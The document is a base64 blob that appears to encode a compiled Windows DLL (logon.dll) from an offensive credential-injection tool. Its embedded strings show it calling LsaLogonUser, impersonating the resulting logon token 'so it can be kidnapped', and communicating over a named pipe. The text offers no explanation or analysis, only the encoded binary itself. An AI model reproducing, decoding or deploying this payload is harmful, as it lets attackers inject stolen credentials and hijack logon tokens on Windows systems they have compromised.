ZwAAAFMAZQBwAAAATwBjAHQAAABOAG8AdgAAAEQAZQBjAAAASgBhAG4AdQBhAHIAeQAAAEYAZQBiAHIAdQBhAHIAeQAAAAAAAAAAAE0AYQByAGMAaAAAAAAAAABBAHAAcgBpAGwAAAAAAAAASgB1AG4AZQAAAAAAAAAAAEoAdQBsAHkAAAAAAAAAAABBAHUAZwB1AHMAdAAAAAAAUwBlAHAAdABlAG0AYgBlAHIAAAAAAAAATwBjAHQAbwBiAGUAcgAAAE4AbwB2AGUAbQBiAGUAcgAAAAAAAAAAAEQAZQBjAGUAbQBiAGUAcgAAAAAAQQBNAAAAAABQAE0AAAAAAAAAAABNAE0ALwBkAGQALwB5AHkAAAAAAAAAAABkAGQAZABkACwAIABNAE0ATQBNACAAZABkACwAIAB5AHkAeQB5AAAASABIADoAbQBtADoAcwBzAAAAAAAAAAAAVQBTAEUAUgAzADIALgBEAEwATAAAAAAATWVzc2FnZUJveFcAAAAAAEdldEFjdGl2ZVdpbmRvdwBHZXRMYXN0QWN0aXZlUG9wdXAAAAAAAABHZXRVc2VyT2JqZWN0SW5mb3JtYXRpb25XAAAAAAAAAEdldFByb2Nlc3NXaW5kb3dTdGF0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAAQEBAQEBAQEBAQEBAQECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQAAIBAgECAQIBAgECAQIBAgEBAQAAAAAAAAAAAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AMSNTTkFOAAAxI0lORAAAADEjSU5GAAAAMSNRTkFOAABDAE8ATgBPAFUAVAAkAAAAQQAAABcAAABnZW5lcmljAHVua25vd24gZXJyb3IAAABpb3N0cmVhbQAAAAAAAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABzdHJpbmcgdG9vIGxvbmcAaW52YWxpZCBzdHJpbmcgcG9zaXRpb24AXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAAAAAAAAUmVjZWl2ZWQgYW4gaW52YWxpZCBhdXRoIHBhY2thZ2UgZnJvbSB0aGUgbmFtZWQgcGlwZQAAAABDYWxsIHRvIExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZSBmYWlsZWQuIEVycm9yIGNvZGU6IAAAAAAAQ2FsbCB0byBPcGVuUHJvY2Vzc1Rva2VuIGZhaWxlZC4gRXJyb3Jjb2RlOiAAAAAAQ2FsbCB0byBHZXRUb2tlbkluZm9ybWF0aW9uIGZhaWxlZC4AAAAAAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAAAAAAAAAAAATG9nb24gc3VjY2VlZGVkLCBpbXBlcnNvbmF0aW5nIHRoZSB0b2tlbiBzbyBpdCBjYW4gYmUga2lkbmFwcGVkIGFuZCBzdGFydGluZyBhbiBpbmZpbml0ZSBsb29wIHdpdGggdGhlIHRocmVhZC4AACVsdQAlZAAAJWxkAAAAAAAiBZMZBAAAAASOAQACAAAAJI4BAAgAAAB0jgEAIAAAAAAAAAABAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACLABgAEAAAAAAAAAAAAAAAAAAAAAAAAAUlNEUw2V/cT8C+hP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pqUBAAAAAAAAAAAAAAAAAICgAQAAAAAAXqABAAAAAABIoAEAAAAAAAAAAAAAAAAAJgBMc2FDb25uZWN0VW50cnVzdGVkACwATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAArAExzYUxvZ29uVXNlcgAAU2VjdXIzMi5kbGwAwgBDcmVhdGVGaWxlVwBTBFJlYWRGaWxlAAAPAkdldEN1cnJlbnRQcm9jZXNzAFYCR2V0TGFzdEVycm9yAADRAENyZWF0ZU11dGV4VwAAXwVTbGVlcAAdBmxzdHJsZW5XAADvBVdyaXRlRmlsZQBLRVJORUwzMi5kbGwAANMBTHNhTnRTdGF0dXNUb1dpbkVycm9yABICT3BlblByb2Nlc3NUb2tlbgAAbwFHZXRUb2tlbkluZm9ybWF0aW9uAIkBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAQURWQVBJMzIuZGxsAAAlAUVuY29kZVBvaW50ZXIA/wBEZWNvZGVQb2ludGVyAM4BR2V0Q29tbWFuZExpbmVBABQCR2V0Q3VycmVudFRocmVhZElkAAC2BFJ0bFBjVG9GaWxlSGVhZGVyAEMEUmFpc2VFeGNlcHRpb24AALQEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAugRSdGxVbndpbmRFeABqA0lzRGVidWdnZXJQcmVzZW50AHADSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudABXAUV4aXRQcm9jZXNzAGwCR2V0TW9kdWxlSGFuZGxlRXhXAACkAkdldFByb2NBZGRyZXNzAADUA011bHRpQnl0ZVRvV2lkZUNoYXIA2wVXaWRlQ2hhclRvTXVsdGlCeXRlAEEDSGVhcFNpemUAADwDSGVhcEZyZWUAADgDSGVhcEFsbG9jABgFU2V0TGFzdEVycm9yAACpAkdldFByb2Nlc3NIZWFwAADHAkdldFN0ZEhhbmRsZQAARQJHZXRGaWxlVHlwZQAGAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgDFAkdldFN0YXJ0dXBJbmZvVwBoAkdldE1vZHVsZUZpbGVOYW1lQQAAMARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAQAkdldEN1cnJlbnRQcm9jZXNzSWQA3QJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQAuAkdldEVudmlyb25tZW50U3RyaW5nc1cAAKMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cArQRSdGxDYXB0dXJlQ29udGV4dAC7BFJ0bFZpcnR1YWxVbndpbmQAAJAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABQBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBRA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAbgVUZXJtaW5hdGVQcm9jZXNzAACABVRsc0FsbG9jAACCBVRsc0dldFZhbHVlAIMFVGxzU2V0VmFsdWUAgQVUbHNGcmVlAG0CR2V0TW9kdWxlSGFuZGxlVwAAKQFFbnRlckNyaXRpY2FsU2VjdGlvbgAApQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAaQJHZXRNb2R1bGVGaWxlTmFtZVcAAKoDTG9hZExpYnJhcnlFeFcAAHUDSXNWYWxpZENvZGVQYWdlAKoBR2V0QUNQAACNAkdldE9FTUNQAAC5AUdldENQSW5mbwA/A0hlYXBSZUFsbG9jAJkDTENNYXBTdHJpbmdXAADiAUdldENvbnNvbGVDUAAA9AFHZXRDb25zb2xlTW9kZQAACwVTZXRGaWxlUG9pbnRlckV4AAD9A091dHB1dERlYnVnU3RyaW5nVwAAzAJHZXRTdHJpbmdUeXBlVwAALgVTZXRTdGRIYW5kbGUAAO4FV3JpdGVDb25zb2xlVwCYAUZsdXNoRmlsZUJ1ZmZlcnMAAH8AQ2xvc2VIYW5kbGUAAAAAAAAAdZgAAHOYAAAyot8tmSsAAM1dINJm1P//AQAAAAIAAAACAAAAAQAAAAAAAAAAAAAA6CgBgAEAAADwKAGAAQAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAwAAAAIAAAA/////wAAAAAAAAAAAAAAAP//////////gAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA